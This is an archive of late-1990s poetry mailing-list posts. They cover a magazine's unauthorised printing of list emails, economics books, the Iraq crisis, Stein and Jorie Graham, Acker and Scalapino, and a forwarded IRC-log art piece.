>still, believe me, a very real and significant statistical bias in the
>shape of the economy.
>
>If a few woman poets have been supported by the income of well-employed
>husbands, that is more an artefact of what's still a savagely
>anti-woman culture and anti-woman economy, than it is a benign fact.
>
>
>Mark P.
>@lanta
>
>On Fri, 20 Feb 1998, Maria Damon wrote:
>
>> whoa! mark weiss writes, among other thihngs"
>>
>> I've known several women writers whose husbands' work funded their literary
>> careers and afforded them lots of time for writng. I don't know too many
>> men who can say that.
>>
>> to which i reply:
>>
>>
>
>

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931. **Dale M Smith**

despe rate to see my name up in lites!

Mon 23 Feb 1998

I requested that copies be sent to all participants in Mike and Dale's email fiasco. If those in question have not received issues by now let me know and I can follow up on it, will be glad to in fact. It was a gross undersight *not* to have sent those to you all in the first place. Sometimes the Pony Express runs slow. Promise to crack the whips a little louder if need be.

Dale, mailroom custodian,
clowns, inc.

To: [redacted]

sylvester (or other)--

yr post reminded me ov the chip&dale thing; i wonder if you'd do me a favor? could you please either photocopy any pages frm younger poets 7 that are attributed to me and send me a copy? alternatively, could you count the number of words of mine that were quoted (like you, w/out my permission)? the reason is, i'll be preparing a bill for th publishers at th rate of $10 per word (Note to other publishers --DON'T BE SCARED OFF!--: that's my standard fee for use of my work without permission; the rate drops to ONLY $1 per word if you'll just send me a copy afterwords; folks who secure permissions previous to publication generally are charged at the Poets Union rate of "contributors' copy"). i'm not too keen on sending money to these clowns just to see a copy of my own work.

sorry to reopen a can ov worms...

luigi
burning press

sylvester pollet wrote:

> *I don't know, David, but as I was reading the exchanges in Mike & Dale's Younger Poets 7 last night (one of them hers) I was reminded of her useful presence, & realized she must have gone walkabout. Reading that thing is a very odd experience indeed, and leaves me with feelings I haven't quite sorted out yet. I didn't realize that whole messages were printed, with headers, so e-mail addresses too. I'd rather have been left out, or had a poem in the issue, or something--a chance to choose, as Kali Tal explained it. Your posts contain quite personal stuff. I guess it's a useful reminder: Little Brother is Watching You! best, Sylvester*

↑ Index

932. **sylvester pollet**
Re: despe rate to see my name up in lites!
Mon 23 Feb 1998

Luigi, et al. It is a can, & maybe I should have back-channelled DB. I don't want to broker deals, nor act as enforcer. Dale Smith offered copies to those quoted (after the controversy broke). I wrote asking for one, & just received it, the first time I'd seen an issue of the magazine. It's a good mag, lots of good writers in it--if I'd sent poetry I'd have been pleased to be in it. But not in this way, particularly on a day when I was short-tempered with Dodie Bellamy--my apologies to her. (Of yours, I see a short post of 26 Sept.)

At 11:33 AM -0500 2/23/98, r.drake wrote:
>sylvester (or other)--
>
>yr post reminded me ov the chip&dale thing; i wonder if you'd do me
>a favor? could you please either photocopy any pages frm younger
>poets 7 that are attributed to me and send me a copy? alternatively,
>could you count the number of words of mine that were quoted (like
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>for th publishers at th rate of $10 per word (Note to other publishers
>--DON'T BE SCARED OFF!--: that's my standard fee for use of my work
>without permission; the rate drops to ONLY $1 per word if you'll just
>send me a copy afterwords; folks who secure permissions previous to
>publication generally are charged at the Poets Union rate of
>"contributors' copy"). i'm not too keen on sending money to these
>clowns just to see a copy of my own work.
>
>sorry to reopen a can ov worms...
>
>luigi
>burning press
>
>
>sylvester pollet wrote:
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>> I don't know, David, but as I was reading the exchanges in Mike &
>>Dale's Younger Poets 7 last night (one of them hers) I was reminded of her
>>useful presence, & realized she must have gone walkabout. Reading that
>>thing is a very odd experience indeed, and leaves me with feelings I
>>haven't quite sorted out yet. I didn't realize that whole messages were
>>printed, with headers, so e-mail addresses too. I'd rather have been left
>>out, or had a poem in the issue, or something--a chance to choose, as Kali

>>Tal explained it. Your posts contain quite personal stuff. I guess it's a
>>useful reminder: Little Brother is Watching You! best, Sylvester

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933. Christopher W. Alexander
business observer
Mon 23 Feb 1998

---

for interested parties, sample articles and order info
re the Left Business Observer is available online at
http://www.panix.com/~dhenwood/LBO_home.html
(there's also a brief promo for his book Wall Street).

Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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934. Don Byrd
Re: Doug Henwood's WALL STREET
Mon 23 Feb 1998

Mark Wallace wrote:

> *Those of you needing a time out from the Plath-Hughes wars might want to consider reading what seems to me the BEST new book of social criticism I've read in several years, Doug Henwood's WALL STREET. It's by no means an easy read, but it will teach you more about how the U.S. is run than any ten books on identity politics.*

I finally just got around to reading William Greider's _Secrets of the Temple: How the Federal Reserve Runs the Country_. Although it is ten years old now, it deals with a period that continues to be important: the Carter malaise through the Crash of 87 (and gives an excellent history of the Federal Reserve and U.S. banking from beginning). It is a readable and lively, very detailed, almost chatty, history. At any rate, it gives the day to day feel of the institutions, not much theory, but gives a very gritty picture of what happens when an administration follows blatantly contradictory policies (as Reagan did).

Thanks, Mark, for the recommendation. I intend to read Henwood forthwith.

DB

--

****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)

****

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935. **Hilton Manfred Obenzinger**

Re: Iraq and depression

Mon 23 Feb 1998

Dear Listers,

I've been checking out discussions with interest for some time, so I'd like to say hello, and add just one comment to what people have been saying about the crisis in the Middle East, an area I've written about quite a bit. Remember one thing: Middle Eastern oil does not primarily go to the US but to Europe and Asia, particularly Japan. As much as Saddam Hussein is a dictator, one underlying aspect of the crisis is the fact that the US is asserting its dominance over Europe and Asia through its control of "our" oil. As the Asian economic collapse and French (as well as Russian) reluctance to go along with American-style globilization continue, the threat of war, besides all its other causes and uses, is very much a part of American foreign-economic policy in order to maintain the US as the force that will "open" Japan's markets to American capital. This is why, in my opinion, Clinton is willing to risk a region-wide explosion in the Middle East. The stakes are quite a bit larger than the region and the obvious hypocrisy of US policy in dealing with Israel, Turkey, etc.

Here at Stanford students have been roused and, since parents' day is coming up soon, they will be giving an earfu of anti-war sentimnts to certain well-known parents.

In any case, thanks for all the fascinating discussion.

Hilton Obenzinger

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936. **Keston Sutherland**
Merry February
Mon 23 Feb 1998

Sequestered hand-in-hand and throat to imp pax
n's agreed avail, rimming the event-prefect. Her fair non-bogus
affection is a loyal periphery, shattering
crag upon crag, smeared in the pasture. 4.09:36. Scuttling with covert noble
grimace #! re: best sex shredded into baloney, each (n) neat re-
set wish glazed, sea-pondering. Soak that, brisk
civet squirts from the brain per eye 1, 2. How can you pray
flat-out, account shift +n sub-paltry in orbe as infernal
sparks set under their (say) cystic joy pop up, flat-out.

Neither inirritant takes the crowd by storm, fury
read-out smothered in attached putty, its snitch function bent
like an oak under snow. How many adorations down
load instant redress (pall) re: sector 1 concretized brick-ideality, do
they just, ragged logo-tin at Omnes Vestigia hoedown (n). A trickle
of joke blood, blent with pig's blood roams
from dent to dent. The inner husk is trivial. Ah, just to clout the sniveling
cosmos she'd pervade without it, post fey retort n
to hell n on into gladder refuse <m re: standards of dearth, a big hit.

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937. **Laura Moriarty**
Re: Acker/Scalapino
Mon 23 Feb 1998

I wanted to thank Tom B., Steve T. and others for interesting and very unsentimental posts about depression - and to solicit them (you) for the upcoming headache and Scalapino nons -

The fact of pain - of physicality and all the specificities of gender, age etc that it implies - exists in any writing, but it is sometimes put aside with a sense of a neutral writer and reader - No one wants to whine or to tell an I-overcame-the pain story with inspiring music - (well most of us don't) - and yet we write with our bodies -

The degree to which thinking is embodied and this embodiment effects and shapes and allows for a text is discussable -

The clausal quality of Leslie's texts for example and her speech with its particular breathing (breathiness), levelness and hesitations - her singing voice (which has been revealed to be amazing in her singing roles in K. Killian's plays) - are

all apparent in her work - and have as much to do (in a completely intended way) with her physicality as with her Buddhism - (floating world etc) - and poetics - It is a continuum -

I know that I'm not suggesting a new apporach to poetics particularly - just urging toward one possible emphasis - theoretical but not forgetting the physical situation and state of the theorist -

PS -

There is and will be more non today - an additonal piece with small gif by Myung Kim - (who is fascinating in the interview of her in the new Tripwire) - revealing herself to be the foundational writer and teacher she has been to a lot of the new writing that is going on in the Bay Area - AND OTHERS -

about which more anon -

Laura

[redacted]
http://socrates.berkeley.edu/~moriarty/

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938. **MAYHEW**
Stein in pop culture
Mon 23 Feb 1998

Stein at one point was pop culture; she was able to sell a certain image of herself and her work. I have a copy of The Autobiography of Alice B. Toklas which was a Literary Guild Selection in the 1930s. My copy has the "rose is a rose is rose" logo on the front in circle form (four roses, actually, not three as is popularly misquoted.)

As for Jorie Graham, though I too am "aversive" to discussing her. I have an extremely capacious taste in poetry and I think I am in good company. Pound supported Frost early in his career; O'Hara thought Auden great and Spicer admired Yeats. The problem is when one living poet is lionized as THE poet to the exclusion of everyone else, by a culture that doesn't otherwise care about poetry. I remember when it was Robert Lowell; after he died it was James Merrill. On the other side of the Atlantic Larkin's death made Hughes "it," as in a game of tag. Graham seems to one of those names that is being proposed by "official verse culture" nowadays. I have tried to read her recently but without success--it takes me years sometimes to learn to read a poet so my initial impression of her style is probably not worth much.

Still trying to get my hands on Rasula's Wax Museum...

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

"There is nothing but what / thinking makes it / less tangible." (Creeley)

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939. **d powell**
Re: Jorie Graham Experimental?
Mon 23 Feb 1998

Reply to: Re: Jorie Graham Experimental?

k. lederer wrote:
>It seems to me that you are seconding some of the things Doug Powell
>said--that even if one doesn't "like" Graham's work, one has to admit
>that in the world of poetic politics--and what gets taught--she has done a
>lot to "bridge" the "gap" between "camps"--
>
>This kind of bridging, of course, brings up some provocative questions--
>
>I know Stein said something along the lines of "once you're assimilated
>into the wider culture ["popularized" so to speak] you are useless" (does
>anyone have the reference here? I would love to hear it...).
>
>Being a student of Graham's I have had to think about this kind of thing a
>lot--
>
>Stein, as someone pointed out recently here, was just a category on
>Jeopardy--where does this leave her?
>
>How much and in what ways do "experimental" or "fringe" writers want to
>be
>accepted into the larger culture of poetry? The larger culture of America?
>
>What kinds of "subversions" can remain subversive once "popularized" etc.
>
>I think this really has to do with the individual poet--
>
>Notley's Descent, for example, is not necessarily politically subversive
>(in the sense that it is about tyranny etc., it is ethical in a familiar

>way)--the aesthetics of it are also "strange" but, as Notley says in a
>note at the beginning of the book, the punctuation and form are meant to
>remind the reader that this is a spoken text--a medium to be "listened"
>to, not just read, again a perfectly "normal" impulse on Notley's part--
>
>Scalapino's ontological explorations are of a different nature--perhaps
>the "findings" of her work are a little bit more difficult to
>swallow--perhaps the "experimental" nature of this work would suffer from
>popularity--perhaps.
>
>And so on--
>
>I notice that more and more (particularly female) writers from such
>"mainstream" environments as Iowa are writing "strangely" and, in some
>sense because of their pedigrees, are publishing their "strange" poems in
>mainstream journals (I am thinking here of Hillman and Claudia Keelan)--
>
>For me the Graham issue--even the Stein issue--speaks more to pedigree and
>its effects on critical and cultural reception--not so much to the work
>itself--
>
>Best,
>Katy
>

Katy,

Picking up on your thread as well as J Mayhew....Aside from how we feel about the work itself, poetry in modern times has also always been about the cult of personality. Oscar Wilde, Dylan Thomas, Allen Ginsberg, Rod McKuen, Maya Angelou and Charles Bukowski are wonderful examples of how a poet's popularity derives (at least in part) from extra-textual considerations, particularly the performative. For others--Stevie Smith, Ezra Pound, Margaret Randall, Sylvia Plath, etc.--Interest in their work has derived in part from interest in their love lives, their political lives, or their historical lives.

For Stein, widespread popularity did come in her lifetime--As Jonathan points out, The Autobiography of Alice B. Toklas was a Literary Guild Selection at the same time that her opera 4 Saints in Three Acts was enjoying an extremely successful run on Broadway, and she was solicited for work from magazines such as the Atlantic Monthly. When she and Alice returned to the US in the mid 1930s, they were celebrities, feted from coast to coast, culminating in a Hollywood party where Stein got to meet two of her idols: Charlie Chaplin and Dashiell Hammett. Did the success change her writing? Absolutely. Everybody's

Autobiography, the followup to Alice B. Toklas, was little more than fluff, a kind of literary "Jaws 2: The Revenge." Her prose became much more accessible, much more traditionally narrative. Nevertheless, of her later works, Brewsie and Willie and Wars I Have Seen, are wonderfully innovative, even while making concessions to the audience that had at last found her. If Stein had languished in obscurity, perhaps the writing of her later years would have been spectacularly abstract. However, we should be thankful that her popularity as a personality is perhaps what initially drove some to be interested in her work; I myself cannot imagine when I would have encountered her had I not encountered her first as a personality.

As for the quote, I don't know the source. I do know that in her lectures she states that "once something is known it is no longer worth thinking about." And as for the roses, there were actually seven: A rose is rose is rose is rose is a rose is rose is a rose. My friend Chris once pointed out that when one utters the entire sentence, it soon sounds as if one is repeating the word "Cicero." Kids, don't try this at home.

Doug

P.S. Katy, I just received the latest Explosive. It looks fabulous. Thanks for sending it; I'll see you in May. DP
==========
D A Powell [redacted]

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940. **Danny Huppatz**
Re: Acker/Scalapino
Mon 23 Feb 1998

Tom.

Kathy Acker was an early hero of mine. Back in the mid eighties I was at the end of high school & saw the documentary on her. I thought here is the most way-out writing I've ever heard (after years of Romantic poetry at school) so I eventually tracked down an Acker novel, the British ed. of "Blood & Guts In High School" (which also includes "Great Expectations" & "My Death, My Life". I faithfully read each & every word, one after the other, without understanding what was going on. I knew nothing of appropriation, never read Burroughs, etc - it was just weird. But I loved it. I didn't really start to understand Acker's work until I went to uni & studied art history. I came at her work via Minimal & Conceptual Art (LeWitt, Morris, Kosuth, etc) & also through music - Glass & Reich in particular.

When I think about repetition in Acker's work, those arpeggios of Philip Glass or the phase-shifting of Reich spring to mind. On one level, I see her work as compositions, & there is a certain rhythm that's generated by repetition of phrases or blocks of text.

Afraid I know little of Scalapino - any tips on starting points?

Danny Huppatz
[redacted]
Melbourne

From: Tom Beckett[SMTP:[redacted]]
Sent: Monday, February 23, 1998 1:26 AM
To: [redacted]
Subject: acker/scalapino cont.

Chris-- Thanks for yr posting. It's not so much a matter of preference as of strategy--trying to get an audience more familiar with A. to look closely at S. Mood is relevant in a discussion of A/S.(Although I do hope that my recent postings don't get me typecast as Mr. Moody--cousin to Agent Mooney!?--wonder what's going on with that.) I was trying to hint at larger structuring concerns & differing but related poetics. Both practice a kind of filmics of writing which I might like to try and write around later. Was really hoping though for input from the group. Maybe we could root around in their respective texts co-analyzing some passages or constellations of connections. Or perhaps a starting point might be discussion of their respective uses of repetition.

Ciao.

Tom Beckett

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941. **Schuchat Simon**
Re: despe rate to see my name up in lites!
Mon 23 Feb 1998

Okay Dale, I saw in one or another of the posts re this issue that something of mine was also quoted/cited, so if that is the case, please arrange for a copy to be sent to me at

Simon Schuchat
AIT Taipei - ECON
Department of State
Washington DC 20521-4170

if I misread and do not appear, I would still be interested in seeing the magazine.

Okey dokey,

Simon Schuchat

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942. **George Hartley**
George Hartley address & #
Mon 23 Feb 1998

Hello Everyone,
This is George Hartley and I wanted to let people know that I'm back to the list and am now living in Lawrence, Kansas (yes, Irby's hometown!)

so new info:
1014 W. 5th St.
Lawrence, KS 66044
[redacted]

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943. **Aviva Wesley Vogel**
Re: writers&depression, & Graham
Mon 23 Feb 1998

By the way...Jorie's well loved on the poetry listserv circuit...as you can see by this comment from Annie Finch, the formalist pole of the Poets of Artifice, the Langpo Disciples of Charles Bernstein, Ron Silliman, and all...

Annette'll know what I mean...Don't you, Annette?

In a message dated 98-02-22 15:17:47 EST, you write:

<<
Seen in this context, Graham's I-am-an-exhausted-participant-in-experience theme may be as key to her popularity as her crossover forms, background, etc.. Like Jordan, I find that this repeated stance seems gratuitous--I titled my review of Materialism "Unnecessary Burdens"--and moreover quite familiar, downright Romantic, in fact -"half in love with easeful Death" put that particular angst just as well, to my ear.
>>

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944. **Safdie Joseph**
Re: WALL STREET, Iraq, etc.
Mon 23 Feb 1998

I was just curious . . . reading the many passionate posts today about either the Iraq situation and/or Wall Street via Henwood and Grieder . . . whether folks on the list feel these concerns are NOT addressable through poetry.

That's what I thought last week about "dark and archtypal" -- that is, I thought a majority of people here would sneer at the idea that poems would actually have subject matter of ANY kind (let alone something so intellectually spurious as archetypes).

I saw Jeff Derksen give a reading last week in Seattle, partly because I admired his piece in _Philly Talks_ #3. He was introduced as someone whose work was very much "in language" and yet also very much "in the world" -- which I agreed with. I continue to think that a worthy goal is to somehow incorporate these concerns (inequitous economic systems, globalization, arms merchants, etc.) into the work -- certainly not by any obvious means, but, if you will, alchemical ones -- which reminds me that one of Pound's cantos refers to the Iraq situation at the time of John Foster Dulles! (I'll find the exact quote if anyone's interested).

And a query on something completely different: has anyone on the list seen the recent movie by Peter Greenaway regarding, uh, writing on flesh? (Kim Dawn's post -- welcome back, Kim! -- reminded me of it, but somehow I'm blanking out on the title -- _Pillow Book?_) Anyway, I rented it over the weekend and was totally knocked out -- wondered if anyone else shared this reaction.

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945. **Pierre Joris**
Re: three unrelated queries and a note on poetic depression
Mon 23 Feb 1998

Stephen Cope wrote:

> *Some information I'm looking for, if anyone has anything to hand:*
>
> *1) I'm looking for books (preferably in English, although if there's something good in French I'll take that too), dealing specifically with the influence of Islamic poetic forms on the Medeival lyric in the West (a la the tradition of courtly love), and, more braodly, with the influence of Arabic culture on the European Renaissance. This is clearly a broad query, so feel free to backchannel.*

Well, it cld be oif interest to others on the list, so I'll post it for general consumption.

A good place to start is Maria Rosa Menocal's _Shards of Love_ (Duke, 1994) and her _The Arabic Role in Medieval Literary History: A Forgotten Heritage_ , also from Duke UP. The bibliographies in those two will provide you with enough reading for a while. But much much work is still needed in that area: present topical dislike of Arabs is not new & western scholarship has spent centuries _denying_ any and all influence. A good example is the etymology of troubadour -- given by euro-american philologists as going back to a hypothetical latin root "trobar" -- to find, they say. Ask an Arabist knowlegeable in medival Arabic (hispanic medieval, that is) & s/he'll say immediately oh, troubadour is-the same word as Arabic for "song".

Then, if Dante is of interest in that matter, there is a fair amount of scholarship on his work's relations to Arabic poetry.

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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946. **Stephen Cope**
three unrelated queries and a note on poetic depression
Mon 23 Feb 1998

Some information I'm looking for, if anyone has anything to hand:

1) I'm looking for books (preferably in English, although if there's something good in French I'll take that too), dealing specifically with the influence of Islamic poetic forms on the Medeival lyric in the West (a la the tradition of courtly love), and, more braodly, with the influence of Arabic culture on the European Renaissance. This is clearly a broad query, so feel free to backchannel.

2) I'm also looking for any discussions of epistolary poetics that I might be pointed to, especially those that might deal with contemporary work (books on the Romantic and Augustan epistle appear to be a dime a dozen).

3) Might anyone know where (if it is indeed her?) Gayatri Spivak discusses "epistemic violence"? I can't seem to locate that one, and my books aren't ready to hand.

A note on poetic depression: having quickly gone through the barrage of messages that appeared on the subject over the weekend, I flipped on the tube to find that - I believe it was Dateline - was running a story on manic depression (this was Sunday evening). I caught only the end of the spot, where the requisite guest expert was in the midst of suggesting that had Lithium etc. been around for 500 or so years, there would likely have been no Van Gogh, no Byron, no Poe. (I believe a similar argument appears in Kramer's infamous prozac book, where if I remember correctly he appears intrigued, and genuienly excited, by what a world without such creative madness might look like and be like to live in).

In any case, it would seem a comparative, cross-cultural study of depression, if one doesn't already exist, is long overdue. I'm aware of a few things along these lines undertaken w/ regard to schizofrenia, or to psych-analysis in general, and have been struck by what Catherine Clement offers by way of such comparison in _Syncope_:

"In the art of Western psychiatric diagnosis, the psychotic is described as being "cut off from reality," closed in him-or herself. Psychoanalysts have often reversed the terms of the relationship between reality and the subject. It is not true, they say, that psychotics are "cut off from reality": on the contrary, they are invaded by too much reality, and no longer know how to distinguish between themselves and the world. It is very clear that psychotic states, especially deliriums with mystical themes, are considered in the West to be part of pathology. This really needs to be explained: in India, it is the other way around. Invasion by reality is the norm."

I'm wary of Clement's binarisms (and her meladramatic romanticizations), but I think her point should be well taken. Like psychosis, I'd imagine that what's referred to as depression in the psychiatric establishment (an establishment which in this country at least appears to have no sense of relativism), might be regarded elsewhere as a viable cognitive mode. This is clearly an oversimplification, but it's perhaps the failure of the presently reigning cultural systems to account for such viability that has led to the present state of things. (The presently reigning cultural systems, of course, don't see art as viable practice either).

Thanks in advance re: queries.

Stephen Cope

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947. Steve Shoemaker
Re: Doug Henwood's WALL STREET
Mon 23 Feb 1998

For a long time now I've been meaning to read a book on Wall Street that's s'posed to be very good, can't remember who it's by, but it's called Den of Thieves, and i think it concentrates on the bad ol' eighties. steve

At 11:36 AM 2/23/98 -0500, you wrote:
>As someone who spends a fair amount of time near "Wall Street" and "on"
>Wall Street, I would like to echo Mark's comments. Doug Henwood shouldn't
>be the only person saying what he does. I don't always agree with his
>suggested solutions (for example, I think the financial markets might be
>"used" in various non-capitalist ownership schemes), but he is basically
>the only person in the public sphere (well, except for maybe J. Hightower
>& several highly influential poets & academics) who is even hinting at the
>right questions...
>
>today's tips: short msft split, leaps on 5yr corp instead, long on oxhp &
>aet, sepr looks good, brazil for se asia. all of these are lies.
>
>--
>[redacted]
>David Golumbia
>
>

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948. Erin Moure
Re: Iraq
Mon 23 Feb 1998

Well, this one moves me to speak. Personally, I'm an apostate of the Rodrigo Toscano school; the contradictions in the whole Iraq scenario, and the moralism proposed by the greatest rogue state of all (and please reread Rodrigo's post of a couple of days ago), make me want to leave the planet (no, this is not the suicide thread... yet...). I have no doubt that the Pentagonistic Thinkers wd bomb a palace filled with Iraqi six-year olds. But how about a palace filled with Americans (over 6 years old will do). I propose the Poetics List hold a conference in such a Location...

Told this to a friend (my fellow Montrealer on the List), and he dismissed my conniving, saying: oh they'll bomb poets any day. I think that, more to the point, no one would put themselves in the position I suggest.

Which makes me think of the film _Bent_, and the scene in the railcar where the main character beats his lover to death to save his own life at that moment, because he's been told to do it, and he knows the consequence of refusing to do so is death. But... at what point do you say No to dehumanization? And accept that by saying No, you invite your own demise? LIke the people who set themselves on fire to protest the Vietnam war (an image that springs to mind).

OK, I'll be quiet now... as quiet as a Canadian...

E

> *----------*
> *Date: Mon, 23 Feb 1998 08:00:16 EST*
> *From: Henry Gould <[redacted]>*
> *Subject: Re: query : Iraq*
>
> *I think this is a rather good idea, except for one thing. Say we announce a date to bomb palace X. What if on that day Saddam has stuffed the place with six year-olds?*
>
> *Good point. As Saddam might say, "duh". What I liked about Alex's idea was it simply toned down the "total bombardment" scenario of the Pentagon. Let's hope diplomacy works. As I mentioned backchannel, the idea of promoting a US teenager's bombardment plan sounds too close to Pynchon for comfort (are you listening, Agent Mooney?) - Henry Gould*

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949. **groberts**

Palm at the end of the Desert Storm

Tue 24 Feb 1998

Over the past few days, I have been reading Michael Palmer's sequence "Seven Poems Within a Matrix for War" from AT PASSAGES. On the whole, I like the sequence, except for occasional maudlin lines ("Weathering so/ the wheel of days.//Gaia the bag lady/in sadness below."). I have been especially intrigued by these poems in the context of the entire book because they place Palmer's familiar tricks, turns, and patterns in into the representational anaesthetics delivered to CNN watchers seven years ago:

> From the screen poured
> images toward me.
>
> The images effected a hole
> in the approximate center of my body.
>
> I experienced no discomfort
> to my somewhat surprise.

This is funny because the pretentious diction just barely disguises the violent "image" of penetration and is so obviously not the result of the shock of surprise. The incessant broadcasting of the American bombing raids have not generated a vivid representation of the body's anger but rather the eviscerated representation of language's power to distance the body from its outrage.

In the poem that I like best, "Construction of the Museum," Palmer discloses "in the hole caused by bombs/which are smart" the incriminating remnants of our warfare--"colored fragments" and a severed hand, "the writing hand." The end of the poem is, to me anyway, a convincing retread of the "Ozymandis" theme as well as of the idea that the preservation of language as poem is an act of violence:

> We never say the word desert
> nor does the sand pass through the fingers
>
> of this hand we forget
> is ours
>
> We might say, Memory has made its selection,
> and think of the body now as an altered body
>
> framed by flaming wells or walls
>
> What a noise the words make
> writing themselves

The somewhat surprise of the last pair of lines is not parodic but precisely understated, and therefore seems to me like a witty closure which reinforces the institutional authority of the title. In passages such as this one, I think the self-reflexivity is neither obligatory nor gratuitous, since it humorously forces (well aware of the meanings of force) a number of questions about planned and unplanned word-play: how are poems which are making a noise about violence complicit in that precedent violence? If the procedures of addition and subtraction, erasure and naming, repetition and revision, impersonality and affect equally available to propogandists and poets, then what might an experimental decontructive war poetry look like? When do the syllogisms of postmodern poetry resemble the logics of postmodern war? Is the severed writing hand the trace of the weapon and/or its target? I can't say that I know enough about either poetry or war to answer these questions, but I am grateful to Palmer for helping me formulate a provisional start. Anyone familiar with this sequence or other responses to Operation Desert Storm? Palmer: "Yet the after is still the storm"

Gary R.

↑ **Index**

950. Susan Clark
missing person
Tue 24 Feb 1998

Hello, if anyone knows where I can find Eric Wirth, or if he's on this list, please contact me backchannel (I'm set to nomail for a while). I have only an old NYC post office box.

thanks, Susan

Susan Clark
RADDLE MOON

↑ Index

951. Tom Beckett
Silliman Difficulties
Tue 24 Feb 1998

Sorry but can't accept any more orders for the Silliman Issue. Still a few Bromige numbers.

Best,

Tom Beckett

↑ Index

952. rsillima
The Pillow Book
Tue 24 Feb 1998

Joe,

I found The Pillow Book to be about erotic obsession but curiously very un- (even anti-) erotic. Came away dissatisfied, feeling Greenway never was able to focus on whatever it was he was trying to get across.

I do like Doug Henwood and tried to get him to do a column for Socialist Review back around 86-87 only to be outvoted by my colleagues who felt him to be too "popular" in his style (this was quite a bit before he ever appeared in anything but his newsletter). I do have a friend, though (he's on this list but I won't out him), who says that he uses Henwood and The Nation as his investment strategy -- whichever companies they criticize, he invests in. He claims to have made a lot of money this way.

Ron

↑ Index

953. **Tom Beckett**
Re: Acker/Scalapino
Tue 24 Feb 1998

Hi Laura M--

Thanks for yr posting.
New to the list I'm wondering--what's a non?
Best,

Tom B

↑ Index

954. **Don Wellman**
Re: three unrelated queries and a note on poetic depression
Tue 24 Feb 1998

Emilio García Gómez, Poemas Arábigoandaluces (1930) based on an anthology by Ibn Sa'id (1243)--was important to GarciaLorca. There is a charming English version, "Poems of Arab Andalusia," translated by Cola Franzen City Lights Books. Garcia Gomez's Codex is probably the authoratative source on Arabic-Poetry in Andalusia and parts of it have been translated--Franzen might help. Back channel me for her snail mail address.

↑ Index

955. **Burt Kimmelman**
Re: The Pillow Book
Tue 24 Feb 1998

---

i loved the pillow book movie but too felt at a distance from it, yet i'm told that reading the book the pillow book is essential if one is to get anything real out of the flick.

↑ Index

956. **Alan Myouka Sondheim**
Forwarded mail.... NIKUKO EDUCATES
Tue 24 Feb 1998

> *---------- Forwarded message ----------*
> *Date: Wed, 25 Feb 1998 00:51:32 +0900 (JST)*
> *From: Nikuko (*[redacted]*)*
> *To:* [redacted]
> *Resent-Date: Wed, 25 Feb 1998 00:52:29 +0900 (JST)*
> *Resent-From: Alan Myouka Sondheim <*[redacted]*>*

> *Resent-To:* [redacted]
> *Resent-Subject: Resent mail....*

NIKUKO EDUCATES

(text from julian beck, the life of the theater, the relation of the artist to the struggle of the people, city lights, 1972)

IRC log started Tue Feb 24 10:37
*** Value of LOG set to ON
<hyd> hey all
<MI> i usually call her at work..and give her an ear full
(Middnite/#CyberSex) lol Oxx
#<#Nikuko#># you burn the texts
<lookin4luv> Hello i'm Looking for some loving from some chicks
..... sorry guys!!!i am bi
#***# tomx has joined channel #cybersex
[#E/X#] #You have new email!# (Mail Waiting: 7)
(Middnite/#CyberSex) WooHoo
[#E/X#] #Mail:# From L-Soft list server at Purdue University
Your removal from the FOP-L list
#<#Nikuko#># this is what the masters have finally told me
(Frawg/#cybersex) lol mi
<MI> <<<not a flower sender
#***# FMulder has joined channel #cybersex
#***# kelly19 has joined channel #cybersex
(Frawg/#cybersex) HAHA SURPRISE HER!
#***# good-looker has joined channel #cybersex
#***# GrOOOvY has joined channel #cybersex
#<#Nikuko#># this is what the greatest of their greatness
<MI> nope
(Oxxman/#cybersex) flowers are a rip off
#***# Sharon20 (Pssy.Lckr)has joined channel #cybersex
#<#Nikuko#># has whispered what the failing light
#***# Kostya has joined channel #cybersex
#<#Nikuko#># hesitatingly points out
#<#Nikuko#># leap
(Oxxman/#cybersex) give the gift that dies
#<#Nikuko#># we are the fire behind you
#***# GuyStud has joined channel #cybersex
<stonedagain> any horny women in here wanna chat
#<#Nikuko#># self immolation
(Middnite/#CyberSex) send her fake flowers...she can keep em
<MI> when they is in season..ill go pick em and hand deliver

<earthenv> hello, Sharon20
#<#Nikuko#># the burning bodies of the dmaned
#<#Nikuko#># KULCHUR
#***# Haylo has joined channel #cybersex
*** FMulder has left channel #cybersex
#<#Nikuko#># the torch
*** Sharon20 has left channel #cybersex
<MI> but i dont buy em
(Frawg/#cybersex) here comes haylo
#<#Nikuko#># the twilight of those gods
#***# makwa has joined channel #cybersex
(Frawg/#cybersex) oh shit here she is stop talkin bout her
*** Mode change "+o Haylo" on channel #cybersex by SynFul
(Oxxman/#cybersex) nikuko...what are you babbling about?
(Middnite/#CyberSex) awww...how romantic:)
*** Nikuko has left channel #cybersex
*** Signoff: Nikuko (bad, Bad, REAL BAD link?)

IRC Log ended *** Tue Feb 24 10:39

↑ Index

957. **Joe Amato/Kass Fleisher**
Re: Temporary canons/New Poetry redux
Tue 24 Feb 1998

well, for what it's worth, i arose this morning (aroseisaroseisarose...) realizing that i had at least mis-identified one of the two authors of _teaching as a subversive activity_... not mark poster (sorry mark if you're anywhere within earshot) but neil postman, SHEESH...

for reference' sake: neil postman & charles weingartner, _teaching as a subversive activity_, dell, 1969 (still in print i believe, i've got an old delta copy on hand)... postman & weingartner also collaborated on _the soft revolution: a student handbook for turning schools around_ and _linguistics: a revolution in teaching_...

ahh, the 60s---i can get nostalgic too...

best,

joe

↑ Index

958. Jacques Debrot
Re: Lazer/experiment/tradition
Tue 24 Feb 1998

